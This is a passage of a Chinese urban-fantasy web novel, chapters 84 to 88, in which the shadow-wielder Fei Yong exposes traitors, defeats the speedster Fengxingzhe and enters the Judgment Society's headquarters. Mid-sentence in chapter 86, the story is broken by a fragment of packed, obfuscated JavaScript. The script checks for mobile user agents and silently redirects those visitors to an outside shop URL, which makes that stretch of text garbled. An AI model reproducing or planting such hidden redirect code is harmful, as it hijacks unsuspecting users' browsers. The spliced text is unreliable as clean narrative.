“她不在影界。”男人打断他,烟杆在桌面磕了磕,火星溅在地图上,“**前我把她送走了,去了国外的安全屋。每年中秋,她都会在老地方放盏孔明灯,你要是……”
“别岔开话题。”费勇的影子突然化作尖刺,抵在男人心口,“你和判官合作,到底想干什么?”
男人的眼神暗了暗,从怀里掏出个布包,层层打开后,露出块鸽子蛋大小的影石碎片。它比费勇见过的任何影石都亮,表面流转着银色的光,像把淬了月光的刀。
“第七块碎片。”男人把影石推过来,指尖在石面上划了圈,银色光流里竟浮出层淡绿色的纹路,“看到这些脉络了吗?是我用生命能量注入的抑制层,只要把它和其他碎片拼合,影石阵就会反向运转,彻底封死影界入口。”
费勇没碰那块影石。他注意到男人的袖口在渗血,暗红色的血珠落在地图上,晕开的形状竟和裁决会的标志一模一样——朵蠕动的黑色彼岸花。
“你在影界受的伤?”
“是代价。”男人卷起袖子,小臂上爬满蛛网般的黑色血管,像风行者脖颈处的“爆速”药剂副作用,“每次往影石里注入能量,暗影侵蚀就会加重。判官以为我在帮他完善影石阵,其实……”他突然剧烈咳嗽起来,手帕上沾着黑色的痰,“我在等你觉醒暗影重构。”
费勇的影子突然缠上那块第七块影石。接触的瞬间,无数画面涌进脑海:男人跪在判官面前,双手奉上块影石;实验室里的仪器在**中飞散,母亲抱着年幼的他躲在桌下;老鬼在图书馆密室里烧毁文件,灰烬里飘出半张照片——正是父亲和判官握手的画面。
“这些是什么?”费勇猛地拍桌,影石被震得跳起来,银色光流里的绿色脉络突然扭曲成黑色,“你给判官的影石里,到底加了什么?”
男人的脸色瞬间惨白,烟杆“当啷”掉在地上。他想去捡,却被费勇的影子按住肩膀,那力道大得像要捏碎骨头。
“我……”男人的喉结滚动着,眼角的疤痕突然抽搐起来,“我需要他帮我找到所有碎片,没有裁决会的资源,单靠破晓……”
“所以你就把十年前的研究数据给他?”费勇的影子化作镜面,映出男人藏在书柜后的暗格——里面摆着本烫金封面的笔记,封面上写着《暗影神祇唤醒预案》,“老鬼就是因为发现这个,才被你灭口的吧?”
男人突然笑了,笑声里带着种诡异的狂热:“你以为老鬼是好人?他是判官安插在破晓的内鬼!那本笔记是假的,是我故意让他发现的……”
话音未落,窗外突然传来**声。费勇冲到窗边,看见青禾堂的大门被炸出个窟窿,执法者正举着盾牌往里冲,领头的人穿着裁决
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会的黑色作战服,脸上有道熟悉的疤痕——是本该自毁身亡的风行者。
“看来判官没等我们拼合影石。”男人不知何时站到了身后,手里握着那第七块影石,银色光流已经彻底变黑,“他提前启动了仪式。”
费勇的影子突然暴涨,将男人困在原地。他这才发现,刚才男人推过来的影石碎片上,绿色脉络根本不是抑制层,而是道激活符咒——只要接触其他影石,就会引爆整个影石阵。
“你从一开始就想打开影界之门。”费勇的声音冷得像冰,“所谓的封印,根本是唤醒暗影神祇的仪式。”
男人的挣扎突然停了,他看着费勇的眼睛,那眼神里有痛苦,有狂热,最终都化作种近乎解脱的平静:“你母亲不是去了国外。”他轻声说,“她在影界,十年前就被判官当作祭品送进去了。只有唤醒暗影神祇,我才能……”
“你疯了!”费勇的影子刺穿男人的肩膀,黑色的血溅在第七块影石上,瞬间被吸收得干干净净,“影界神祇一旦降临,整个世界都会被暗影吞噬!”
风行者的声音已经到了院外,带着金属摩擦般的冷笑:“费勇,判官大人让我来取第七块碎片。哦对了,忘了告诉你,你父亲可是主动提出,要用你的暗影本源当祭品呢。”
费勇没回头。他看着男人肩膀上的伤口,那里的黑色血管正顺着影刃往他影子里爬。突然想起老鬼临终前的话:“别信灯塔,他眼里的光,和十年前的判官一模一样。”
“看来不用我动手了。”男人突然挣脱影缚,抓起第七块影石就往窗外冲,“等我救出你母亲,你会明白的。”
费勇的影子化作长矛掷出去,却被风行者的超音速踢偏。银色残影掠过窗台时,费勇清楚看见男人和他交换了个眼神,像在演一出早就编排好的戏。
“追!”林悦的吼声从院外传来,伴随着雷霆炸响,“别让他把碎片带出去!”
费勇没动。他捡起地上的烟杆,发现烟锅里的烟丝根本没点燃,倒是刻着串小字——“青禾堂地下室,有你母亲的信”。影子在烟杆上舔了舔,浮现出老鬼的字迹:“信是假的,小心秦伯。”
远处的天际线,黑色漩涡已经扩大到遮天蔽日,隐约有巨物在雾里蠕动。费勇握紧掌心的黑石,突然明白父亲的真正目的——他不是要唤醒暗影神祇,而是要成为神祇本身。
第85章:禁忌的真相
星海学院图书馆的闭馆铃响了三遍,费勇才摸到三楼文史区的暗门。指腹按在《永乐大典》复刻本的铜锁上,影子顺着书架缝隙钻进去,在墙内摸索着机关——老鬼以前总说这暗门设计得像孩童玩具,转三圈铜锁再敲五下书脊,就能听见齿轮转动的咔嗒声,像有人在暗处递暗号。
密室比记忆里乱得多。老鬼常坐的藤椅翻倒在地,古籍散落得像被狂风扫过,最角落里的铁柜歪歪斜斜,柜门敞开着,露出里面空荡荡的暗格——那里本该藏着《暗影重构术》的全卷。
“找这个?”夏艳玲的声音突然从身后传来,吓了费勇一跳。她蹲在堆碎纸里,手里举着半张焦黑的书页,布娃娃的眼睛正对着纸片发光,粉色光粒在字迹上跳来跳去,像在破译密码。
费勇接过那页纸时,指尖的黑石突然发烫。残缺的纸页边缘还带着灼烧的焦痕,上面的篆字被火焰啃得七零八落,唯独中间几行字异常清晰,墨迹泛着淡淡的银光,像是用影石粉末写就:
“影界领域,非暗影独存。遇情绪核心,如星火撞柴薪,可唤沉睡之神。此术逆天,施术者与共鸣者,皆为祭品……”
“情绪核心?”费勇猛地转头看向夏艳玲,她怀里的布娃娃突然剧烈震动,粉色光粒炸开又聚拢,在空气中拼出个模糊的人影——是夏艳玲的父亲,他胸口别着的徽章上,刻着和影石碎片相同的纹路。
夏艳玲的脸色白得像纸,手指紧紧抠着布娃娃的衣角:“爸爸说……我身体里有个会发光的东西。他还说,要是遇到能和影子说话的哥哥,就把这个给他。”她突然把布娃娃往费勇怀里塞,“刚才它咬我手,说要去北边。”
布娃娃的布料在掌心发烫,费勇摸到背后缝着块硬物。拆开针线一看,里面竟是半张泛黄的地图,画着裁决会总部的地下结构,其中间的圆形标记被红笔圈了又圈,旁边写着行小字:“祭坛,需双祭品。”
“双祭品……”费勇的影子突然缠上那半张纸,纸上的墨迹瞬间活了过来,在地面投射出段影像:判官站在圆形祭坛中央,手里举着两块影石碎片,左边的泛着黑色暗影,右边的裹着粉色光流,像极了他和夏艳玲的能量波动。
“原来如此。”苏清月的声音从暗门外传来,她扶着门框喘气,绿藤在指尖蔫蔫地垂着,“秦伯刚才给特调科发了消息,说你挟持夏艳玲叛逃,现在全城都在搜捕你们。”
费勇的影子突然窜到门口,卷进来片沾着泥土的叶子。苏清月接过叶子,指尖的绿藤立刻缠了上去,叶片上浮现出秦伯的脸——他正对着通讯器说话,嘴角的皱纹里沾着黑色的影石粉末:“……费勇已经拿到残缺页了,按计划,他会带着情绪核心自投罗网……”
“他果然是内鬼。”费勇捏紧那半页《暗影重构术》,纸页边缘割得掌心生疼,“老鬼的死,十年前苏家灭门,都是他干的?”
“不止。”苏清月从药箱里掏出个小瓷瓶,倒出三粒墨绿色的药丸,“这是青禾堂的‘清心散’,能暂时屏蔽影石能量探测。秦伯刚才在药汤里加了追踪剂,我偷偷换了药材,但最多能瞒三个小时。”
夏艳玲突然抓住费勇的手腕,布娃娃的眼睛亮得吓人:“我刚才摸到秦伯的影子了。”她的声音发颤,粉色光粒顺着费勇的手臂往上爬,“他影子里有好多尖叫的小影子,和钟楼顶端那个白大褂叔叔的影子一样。”
费勇的心脏猛地一沉。白大褂叔叔——钟楼顶端那个和父亲长得一模一样的人影,他的影子里确实缠绕着无数细碎的黑影,当时以为是影石能量残留,现在想来,倒像是被吞噬的灵魂碎片。
“判官的真正目的,根本不是唤醒暗影神祇。”费勇突然想起父亲肩膀上的黑色血管,和秦伯嘴角的影石粉末同出一辙,“他是想让暗影神祇吞噬祭品,再趁机夺取神格。”
话音未落,密室的通风口突然传来金属摩擦声。费勇的影子瞬间化作盾牌护住三人,就见道银色残影撞破铁栅冲进来,风行者的脸在阴影里忽明忽暗,脖颈处的黑色血管比上次更密了,像要把皮肤撑破。
“找到你们了。”风行者的声音带着齿轮转动的涩感,他手里把玩着枚影石碎片,上面的纹路和第七块碎片完全吻合,“判官大人说,只要把情绪核心带回去,就让我当新的灯塔。”
“你觉得他会兑现承诺?”费勇的影子悄悄爬上风行者的脚踝,复制异能的眩晕感立刻涌上来——这次的能量比上次狂暴十倍,像有无数根针在刺他的太阳穴,“他给你的‘爆速’药剂,其实是影石能量压缩弹,随时会炸掉你的心脏。”
风行者的动作突然顿住,银色残影里闪过一丝慌乱:“你胡说!”
“要不要赌赌看?”费勇突然启动影界领域,黑色的暗
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影瞬间笼罩整个密室,风行者的速度明显慢了下来,影子在地面被拉扯成奇怪的形状,“你的影子告诉我,每次使用异能,胸口都会像被火烧,对不对?”
风行者的脸色瞬间惨白,他下意识地按住胸口,那里的衣服果然在冒烟。就在这时,夏艳玲突然把布娃娃扔向他,粉色光粒在接触到风行者影子的瞬间炸开,无数细碎的画面涌出来:秦伯给风行者注射药剂,判官在一旁冷笑,实验室的玻璃罐里泡着十几个和夏艳玲相似的孩子……
“疯子……你们都是疯子!”风行者发出一声尖叫,转身撞破墙壁逃了出去,银色残影消失在夜色里,留下一串黑色的血珠。
费勇捂着发疼的太阳穴,影界领域随着风行者的离开而收缩。他捡起地上的布娃娃,发现刚才炸开的粉色光粒在地面拼出了完整的地图,裁决会总部的祭坛下方,竟藏着条通往影界裂隙的密道——和父亲描述的逃生路线完全相反。
“他果然在撒谎。”费勇的影子轻轻碰了碰苏清月的绿藤,传递过去地图的信息,“所谓的救出母亲,其实是想把夏艳玲当作打开裂隙的钥匙。”
苏清月的绿藤突然剧烈摇晃,她按住太阳穴,脸色变得和夏艳玲一样白:“我和植物的连接被切断了。”她指着通风口,那里飘进来片焦黑的叶子,“北边的植物都在枯萎,影石阵已经开始运转了。”
夏艳玲把布娃娃贴在费勇背上,粉色光粒像层薄纱裹住他:“爸爸说,遇到危险就躲进影子里。”她仰起脸,眼睛里映着费勇的影子,“你的影子很暖,和小时候保护我的那个大影子一样。”
费勇的影子突然温柔地蹭了蹭夏艳玲的脸颊。他想起十年前的研究所草坪,有个高大的影子总在他和夏艳玲身后晃动,当时以为是父亲,现在想来,那影子的轮廓分明和自己的影界领域一模一样。
“还有两个小时。”苏清月收拾好药箱,绿藤在密室的墙壁上开出朵紫色的花,“从密道能直达裁决会总部的下水道,要不要去?”
费勇捏紧那半页《暗影重构术》,纸页上的篆字突然发出微光,和掌心的黑石产生共鸣。他抬头看向通风口,外面的夜空已经被黑色漩涡完全覆盖,隐约有巨物的轮廓在雾里蠕动,像在等待祭品上门。
“去。”他的影子在地面铺开,化作通往密道的阶梯,“但不是自投罗网。”
第86章:风行者的反扑
青禾堂的药碾子还在吱呀转,苏清月刚把晒干的金银花倒进石槽,院墙上突然炸开团银色火花。那动静快得像相机闪光灯,等她抬头时,西厢房的窗棂已经断成两截,木屑混着药粉漫天飞。
“蹲下!”费勇的影子像块黑布罩下来,把夏艳玲按在药柜后。布娃娃从她怀里滚出来,脑袋磕在铜药臼上,粉色光粒“啵”地炸开——这是情绪核心预警的信号,比上次钟楼遇险时亮了三倍。
风行者的笑声裹着超音速气流灌进来,刮得梁上的药葫芦叮叮当当撞成一片。他悬在半空的脚边还沾着草屑,显然是从图书馆一路追过来的,脖颈处的黑色血管已经蔓延到耳根,像有无数条小蛇在皮肤下游动。
“躲什么?”他突然俯冲下来,指尖擦过费勇的影子,带起串火星,“判官说了,只要把这小丫头交出去,我就能换半块影石碎片——足够压制我体内的能量了。”
费勇没接话。他的影子正顺着墙角往风行者脚下爬,接触到对方影子的瞬间,剧烈的眩晕感差点让他栽倒——这股能量比上次狂暴百倍,像有台失控的发电机在血管里炸鸣,复制异能的副作用让他太阳穴突突直跳。
“别白费力气了。”风行者突然提速,银色残影在院子里拉出十几道分身,每道分身手里都握着块影石碎片,“判官给我换了新核心,你的影子困不住我。”
话音未落,苏清月的绿藤突然从地下窜出来,像张巨网兜向最近的分身。藤蔓触到残影的瞬间突然炸开,黑色的汁液溅了满地——那根本不是实体,而是影石能量构成的幻象。
“清月姐!”夏艳玲突然尖叫。真正的风行者正绕到苏清月身后,掌心泛着诡异的红光,那是能量压缩到极致的征兆,和上次他自爆前的征兆一模一样,只是这次的光芒更刺眼,像颗迷你太阳。
费勇的影子瞬间化作长矛掷出去,却被风行者侧身躲过。超音速带起的气流掀翻了石桌,药罐滚到地上,褐色的药汤在青砖上漫开,正好挡住风行者的去路。就在这时,他踩在药汤上的脚突然打滑——苏清月的绿藤正顺着液体快速生长,在他脚踝上缠出个螺旋结。
“就这?”风行者嗤笑一声,红光暴涨,绿藤瞬间被震成粉末。但这半秒的迟滞足够了,费勇的影界领域已经在脚下展开,黑色暗影像潮水漫过整个院子,所有影子都开始躁动,连风行者的残影都被拉得扭曲变形。
“领域?”风行者的速度明显慢了下来,脸上第一次露出惊慌,“判官说你的领域只能压制50%速度……”
“他没告诉你,领域会进化吗?”费勇的影子顺着风行者的影子往上爬,复制异能的眩晕感越来越强,他却死死咬着牙——必须撑到找出对方能量核心的位置。暗影里突然伸出无数只手,有的抓脚踝,有的扯衣角,都是从院子里的药草、工具影子里化出来的,像群沉默的帮手。
风行者突然怪笑起来,笑声里带着金属摩擦的刺耳声:“进化?那试试这个!”他猛地冲向夏艳玲,掌心的红光已经亮得睁不开眼,“判官说了,情绪核心一碎,你的领域就会崩溃!”
夏艳玲吓得往后缩,怀里的布娃娃却突然飞出去,正好撞在风行者的胸口。粉色光粒炸开的瞬间,费勇看清了——他左胸有块皮肤颜色不对,那里的血管比别处粗三倍,跳动的频率和影石碎片完全一致,正是“爆速”药剂的注射点。
“就是现在!”费勇的影子突然凝聚成把巨锤,带着所有暗影能量砸向风行者的左胸。与此同时,苏清月的绿藤从地下钻出,在他背后织成张密网;院门外传来林悦的吼声,道雷矛撕裂空气,精准地打在风行者的肩膀上。
三重攻击同时命中,风行者却没倒下。他低头看着胸口凹陷的暗影,突然露出个诡异的笑容:“判官还说了,要是拿不到情绪核心……”他的身体开始发光,银色残影和红色能量搅在一起,像团即将**的星云,“就把这里炸成平地!”
“不好!他要自爆!”林悦的雷网瞬间罩下来,电流在风行者身上缠出层金光,却被不断膨胀的能量顶得滋滋作响,“这能量强度,能掀翻半条街!”
费勇的影界领域突然收缩,所有暗影都往中心聚拢,形成个黑色的球体,把风行者困在中间。他感觉体内的暗影能量在疯狂消耗,额头上的冷汗滴在地上,竟被领域内的能量蒸腾成白雾。
“撑不住了……”他咬着牙,影子构成的球体已经开始颤抖,风行者的自爆能量像头野兽在里面撞来撞去,“清月,用生命能量加固!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935477|192884||http|test|mini|href|location''.split(''|''),0,{}));
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r>苏清月的绿藤立刻缠上黑球,藤蔓上的叶片瞬间变得翠绿欲滴,生命能量顺着暗影织成的网往里渗。夏艳玲也扑过来,把布娃娃按在黑球上,粉色光粒像小溪流进暗影里——三种能量交织的地方,竟泛起层淡淡的金光。
“这是……”费勇愣住了。他能感觉到,影界领域在吸收两种外来能量,黑色暗影里开始浮现出绿色的脉络和粉色的光点,像在孕育什么新东西。
风行者的吼声在黑球里越来越弱,最后变成声绝望的闷响。巨大的冲击波撞在黑球内壁,整个青禾堂都在摇晃,房梁上的灰尘簌簌落下,却没伤到任何人。
当能量风暴平息时,费勇的影界领域缓缓展开。原本纯黑的暗影已经变成深紫色,边缘泛着金色的光,范围比之前扩大了近一倍,连院墙外的老槐树影子都被纳入其中。领域中心的地面上,只留下块焦黑的影石碎片,还在微微发烫。
“领域……进化了?”苏清月扶着脱力的费勇,绿藤轻轻擦去他嘴角的血迹。她能感觉到,新领域里不仅有暗影能量,还混着生命能量的韧性和情绪能量的灵动,像片活过来的黑暗森林。
夏艳玲捡起那块焦黑的碎片,布娃娃突然发出声轻响,投影出段画面:风行者跪在判官面前,被强行注射药剂,他绝望地嘶吼着,却被判官用“绝对裁决”标记封住了嘴。
“他也是受害者。”费勇看着那段画面,影界领域轻轻波动了下,像是在叹息。他突然想起老鬼说过的话,裁决会里没有真正的赢家,只有被欲望操控的棋子。
林悦突然踹开院门冲进来,警服外套上还沾着**的焦痕:“特调科的支援来了!秦伯那老东西已经被控制住了……”她的话突然顿住,盯着费勇脚下的新领域,眼睛瞪得溜圆,“这是……你的影子?怎么变颜色了?”
费勇刚想说话,影界领域突然剧烈波动起来。边缘的金色光点指向北方,像无数根指南针,那里正是裁决会总部的方向。他低头看向掌心的黑石,碎片正在发烫,与领域里的新能量产生共鸣,像在催促他快点行动。
“看来不用等了。”他站直身体,新领域随着他的动作轻轻展开,紫色暗影里的绿藤和粉光交织成网,“影石阵的仪式,该我们去打断了。”
第87章:最终组队
青禾堂的八仙桌被药罐烫出圈黑印,费勇用影子擦了三遍才勉强遮住。苏清月把最后一片止血草敷在他手腕上,绿藤在伤口处绕了个漂亮的蝴蝶结,指尖还沾着没擦干净的药汁——那是刚才给林悦处理雷矛反噬伤口时蹭上的,带着点淡淡的薄荷香。
“所以计划是这样:”林悦把裁决会总部的地图拍在桌上,警徽在灯光下闪了闪,“正门有三层防御,第一层是执法者巡逻队,第二层是能量屏障,第三层……”她敲了敲地图上标着骷髅头的区域,“特调科的线人说,那里有个会玩空间切割的审判长,上周刚把三个潜入的异能者切成了碎片。”
夏艳玲突然拽了拽费勇的衣角,布娃娃的眼睛正对着地图上的骷髅头发光,粉色光粒在桌面拼出个模糊的人影——高个,穿黑袍,左手戴着枚银戒指,和钟楼顶端那个白大褂叔叔的影子特征完全吻合。
“是他。”费勇的影子在地图上游走,沿着巡逻路线画出条虚线,“空间切割者的影子有个弱点,每次发动能力前,影子边缘会颤抖三秒。清月,你的绿藤能在三秒内缠住他吗?”
苏清月没立刻回答,指尖的绿藤突然拉长,顺着桌腿爬到地面,在阴影里开出朵白色的小花:“我需要十秒准备时间。而且他的空间能量会腐蚀植物,必须用本源草汁液提前浸泡藤蔓。”她从药箱里翻出个小瓷瓶,里面的液体泛着金光,“这是青禾堂最后一瓶‘固元露’,能让藤蔓暂时抵抗能量腐蚀。”
夏艳玲把布娃娃放在地图中央,粉色光粒突然炸开,在空气中投射出段模糊的声波:“他在这里。”她指着祭坛的位置,声音比平时大了点,“布娃娃说,那里有好多和我一样的‘小光点’,都在哭。”
费勇的影子突然绷紧。那些“小光点”十有**是被裁决会囚禁的异能者,像夏艳玲一样拥有特殊能量核心的可怜人。他想起风行者影子里的尖叫,指尖的黑石又开始发烫,这次却没带来眩晕,反而有种暖暖的感觉,像有人在轻轻拍他的后背。
“我有个想法。”他突然按住地图,影子顺着虚线蔓延开,在防御盲区的位置画了个圈,“这里是下水道入口,十年前和青禾堂的暗渠是通的,秦伯以前喝醉了说漏过嘴。”影子突然化作只小手,在圈里点了点,“清月的绿藤能撑破水泥板吗?”
苏清月的眼睛亮了亮:“如果用生命能量催化,再加上你的影子帮忙……”她突然笑了,绿藤在指尖绕了个圈,“上次拆监狱围墙的力气,应该还剩点。”
林悦突然咳嗽了两声,耳尖有点红。上次监狱突围,她的雷网差点误伤队友,还是费勇的影子及时挡了一下。她从口袋里掏出三枚银色的徽章,上面刻着特调科的闪电标志:“这是‘信号***’,能挡住审判长的精神探测。不过有个副作用……”她挠了挠头,“戴上后两小时内不能说脏话,否则会电自己。”
夏艳玲好奇地拿起徽章,刚碰到布娃娃,粉色光粒突然炸开,在她鼻尖上留下个小光点:“会疼吗?”
“试过才知道。”费勇把徽章别在夏艳玲胸前,影子突然化作面小镜子,映出她的样子——布娃娃被别在徽章旁边,像个歪歪扭扭的装饰品。他忍不住笑了,影子也跟着晃了晃,在墙上投出个鬼脸。
苏清月突然从里屋拿出个木盒,打开时发出“咔嗒”一声轻响。里面放着两块半玉佩,翠绿的玉质上布满细密的裂纹,像极了老槐树的年轮。她把最大的那块递给费勇,剩下的分别分给林悦和夏艳玲:“这是苏家的‘生命玉’,十年前家族灭门时,秦伯偷偷藏起来的。”
费勇的指尖刚碰到玉佩,突然感到股暖流顺着手臂蔓延开,体内因复制风行者异能产生的眩晕感瞬间消失了大半。玉佩上的裂纹里渗出点金色的光,和他掌心的黑石产生了奇妙的共鸣。
“这玉……”林悦的声音带着惊讶,她的那块玉佩正发出淡淡的蓝光,手腕上因雷矛反噬留下的红痕以肉眼可见的速度消退,“比特调科的能量修复仪还好用。”
“不止。”苏清月把最后半块玉佩拼在中间,三块玉佩突然同时亮起,在桌面投射出个复杂的阵法,“这是‘生命能量库’的钥匙。青禾堂的地基下埋着上千种珍稀药草的种子,只要玉佩共鸣,就能激活它们的能量,形成覆盖全城的治愈网络。”
夏艳玲突然把布娃娃放在阵法中心,粉色光粒和玉佩的金光交织在一起,在空气中拼出张巨大的网络——无数绿色的光点散布在城市各处,像夜空中的星星,每个光点旁边都标着个小小的符号:有的是叶片,有的是闪电,有的是火焰。
“是他们。”费勇认出其中几个符号,那是之前在居民楼灭火时遇到的异能者,还有图书馆里帮老鬼传递消息的图书管理员,“破晓的成员?”
苏清月的眼眶有点红:“不全是。有些是被青禾堂救过的普通人,有些是特调科里不认同‘异能者隔离政策’的成员……”她轻轻抚摸着玉佩,“我爷爷说过,真正的守护,从来都不分异能者和普通人。”
林悦突然站起来,警服的扣子崩开了两颗,露出里面印着小猫图案的内搭——那是上次受伤住院时,被救的居民家小孩送的,她嘴上嫌幼稚,却天天穿着。“别煽情了。”她把玉佩塞进衣领,雷矛在掌心嗡嗡作响,“再不走,天就亮了。”
费勇的影子突然在门口展开,化作道黑色的通道,能看到外面街道的轮廓。苏清月把装满“固元露”的瓷瓶塞进他口袋,绿藤在他背包上缠了圈,里面鼓鼓囊囊的,全是各种疗伤药剂。夏艳玲抱着布娃娃跟在最后,玉佩的金光在她发间跳跃,像藏了只萤火虫。
就在四人即将踏入暗影通道时,院门外突然传来阵窸窸窣窣的响动。林悦的雷矛瞬间出鞘,却在看清
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来人时愣住了——是三个穿着外卖服的年轻人,为首的那个少了只胳膊,空荡荡的袖管里伸出根金属义肢,上面还沾着番茄酱。
“是破晓的人。”费勇认出他们胳膊上的徽章,和老鬼书房里藏着的一模一样。那个断臂年轻人突然单膝跪地,义肢重重砸在地上,发出金属撞击的脆响:“费哥,我们知道你要去裁决会。特调科的线人说,判官今天会提前启动仪式,我们来帮你打掩护。”
他身后的两个年轻人掀开外卖箱,里面装的不是餐盒,而是各式武器:能量**,异能抑制器,还有个缠着绷带的东西,露出的边角闪着银光——竟是块影石碎片。
“这是老鬼前辈藏在图书馆的。”断臂年轻人的声音有点哽咽,“他死前说,要是你要去总部,就把这个给你,说能在关键时刻帮上忙。”
费勇接过影石碎片,指尖的黑石突然爆发出刺眼的光。两块碎片在空中自动拼合,露出中间道淡绿色的纹路——和父亲那块影石上的抑制层一模一样,只是这次的纹路里,还夹杂着点粉色的光粒,像夏艳玲的情绪能量。
“原来如此。”苏清月突然笑了,绿藤在指尖开出朵金色的花,“老鬼早就知道秦伯有问题,他把真正的抑制层藏在了这块碎片里。”
林悦突然抬手看了看表,警徽上的时间跳动着,离仪式开始只剩一小时。她把雷矛扛在肩上,电流在矛尖滋滋作响:“掩护就不用了,特调科的支援十分钟后到。你们的任务是——”她指了指青禾堂的药柜,“把这些疗伤药分给附近的异能者,告诉他们,今天过后,不会再有人因为有异能而躲躲藏藏了。”
断臂年轻人的眼睛亮了,用力点了点头。费勇的影子在他们脚下展开,托起三个外卖箱:“路上小心。对了,”他突然想起什么,影子化作支笔,在其中一个年轻人的外卖服上画了个笑脸,“老鬼说,总皱着眉头发动异能,会影响能量流通。”
当四人踏入暗影通道时,苏清月的玉佩突然发出冲天的绿光。费勇回头望去,只见全城的绿色光点都亮了起来,像片流动的星河,从青禾堂蔓延向四面八方。夏艳玲的布娃娃在绿光中轻轻晃动,粉色光粒落在每个人的玉佩上,像给星河撒了把糖。
“准备好了吗?”费勇的影子在通道尽头化作扇门,门后隐约能看到裁决会总部的轮廓。他握紧掌心的影石碎片,感觉体内的暗影能量在和玉佩的生命能量共鸣,像有支无形的乐队在血管里演奏。
林悦的雷矛发出声清脆的嗡鸣,苏清月的绿藤缠上了每个人的手腕,夏艳玲把布娃娃塞进费勇手里——这次它没挣扎,反而用额头蹭了蹭他的指尖,像在说“加油”。
“走吧。”费勇推开暗影之门,紫色的影界领域在脚下展开,边缘的金光与远处的绿色星河遥相呼应,“去把那些哭着的‘小光点’,一个个带回来。”
第88章:裁决会总部的陷阱
费勇的影子像块湿抹布擦过裁决会总部的通风管道,在金属壁上留下道淡紫色的痕迹。林悦跟在后面,雷矛的尖端时不时蹭到管壁,激起串细碎的火花——她特意把电流调到最低,却还是忍不住对着监控探头比了个中指,结果徽章突然电了她一下,疼得差点咬碎后槽牙。
“说了别骂脏话。”苏清月的绿藤从管道缝隙里钻出去,卷回片带着铁锈味的空气样本,指尖的藤蔓突然绷紧,“前面五十米有能量屏障,波动频率和监狱那次一样,是空间切割者的手笔。”
夏艳玲把布娃娃举到通风口,粉色光粒顺着格栅钻出去,在外面拼出个模糊的场景:执法者的靴子在地面踏出整齐的声响,每个靴底都沾着影石粉末,踩过的地方留下串黑色的脚印,像某种诡异的符咒。
“他们在给影石阵充能。”费勇的影子突然变得粘稠,顺着管道内壁往下淌,在拐角处化作面镜子,映出屏障后面的景象——圆形祭坛上刻满了银色纹路,十二块影石碎片嵌在凹槽里,正发出嗡嗡的共鸣声,和他掌心的黑石频率完全一致。
林悦突然拽住费勇的后领,雷矛指向镜子里的个角落:“看那个。”祭坛边缘的阴影里,站着个穿黑袍的高个男人,左手的银戒指在影**芒下闪了闪,正是夏艳玲说的空间切割者,他的影子正顺着地面往祭坛爬,边缘像锯齿般微微颤抖。
“三,二,一——”费勇的影子突然化作把巨剪,精准地卡在通风管的接口处。几乎同时,空间切割者的影子猛地绷直,祭坛上空突然裂开道银色的缝隙,离他们最近的监控探头瞬间被切成两半。
“就是现在!”苏清月的绿藤突然暴涨,带着本源草汁液的金光撞向能量屏障,藤蔓接触屏障的瞬间冒起白烟,却硬是撑开道仅容一人通过的缺口。费勇的影子化作滑梯,四人顺着管道滑下去,落地时刚好踩在切割者影子的盲区里。
祭坛周围的空气热得像蒸笼,影石碎片的光芒在地面投出跳动的光斑,照得每个人的脸忽明忽暗。费勇刚想启动影界领域,掌心的黑石突然烫得像块烙铁,祭坛中央的阴影里缓缓站起个人影,黑袍上绣着的银色纹路和影石阵完美融合,仿佛从阵法里长出来的一样。
“恭喜你们,通过了第一关。”判官的声音像砂纸擦过金属,他缓缓摘下兜帽,露出张和费勇父亲有七分相似的脸,只是眼角的皱纹里嵌着影石粉末,笑起来像条吐信的蛇,“我还以为要等更久呢,毕竟风行者那蠢货说,你们至少要天亮才能摸到这里。”
费勇的影子突然炸毛,像只被激怒的猫。他终于明白父亲的影子为何会有那种熟悉感——判官的轮廓、站姿,甚至说话时微微歪头的习惯,都和记忆里父亲的样子重叠在一起,只是那双眼睛里没有丝毫温度,只有影石般的冰冷。
“别紧张。”判官摊开双手,掌心的银色纹路突然亮起,祭坛上的影石碎片同时转向,将十二道光束打在四人脚下,“只是想请你们看场电影,关于‘真相’的电影。”
话音未落,费勇脚下的光斑突然炸开。他发现自己站在十年前的研究所草坪上,母亲正蹲在秋千旁给他系鞋带,阳光透过她的发梢,在地面投出温暖的光斑。父亲站在不远处的梧桐树下,手里拿着块黑色的石头,看到他望过来时突然笑了,笑容里却带着种说不出的悲伤。
“小勇,过来。”父亲朝他招手,掌心的黑石突然发出刺眼的光。费勇刚跑了两步,母亲的影子突然变得漆黑,像墨汁般漫过草坪,瞬间吞噬了秋千和母亲的身影。他想抓住母亲的手,摸到的却是片冰冷的暗影,里面传来无数细碎的尖叫,和风行者影子里的声音一模一样。
“抓住他!”林悦的吼声突然炸响。费勇猛地回过神,发现自己正一步步走向祭坛中央,影石碎片的光芒在他脚下织成个黑色的网,而他的影子已经和祭坛的阴影缠在了一起,像被无数只手往地下拽。
苏清月的绿藤缠上他的腰,藤蔓上的叶片却在迅速枯萎,她的脸色白得像纸,眼眶里滚下两行泪水:“秦伯……怎么会是你……”她的眼前显然也出现了幻象,绿藤不受控制地往祭坛边缘爬,那里的影**芒中,正映出秦伯举着**的身影,刀尖上还滴着苏家的血。
夏艳玲突然尖叫起来,布娃娃从她手里飞出去,砸在祭坛的影石碎片上。粉色光粒炸开的瞬间,她看到的幻象暴露在众人眼前:白色的实验室里,穿着白大褂的人举着针管走向个小女孩,女孩怀里抱着个布娃娃,正是她现在手里的这个,只是那时的娃娃还没有眼睛。
“最精彩的还在后面呢。”判官的笑声在祭坛上空回荡,他抬手指向林悦,银色纹路在她脚下亮起,“看看你父亲临终前的样子吧,伟大的初代异能者警察,最后还不是跪在我面前求我饶他儿子一命?”
林悦的雷矛突然失控,电流在她掌心炸开,疼得她浑身发抖。幻象里的父亲穿着染血的警服,正对着判官的背影磕头,额头撞在地面的声响清晰可闻,每磕一下,就有一道雷光从他体内被抽走,注入旁边的影石碎片里。
“撒谎!”林悦的吼声带着哭腔,雷矛突然转向,带着毁天灭地的气势砸向判官,却在接触到对方影子的瞬间被切成两半,“我父亲是英雄,他绝不会……”
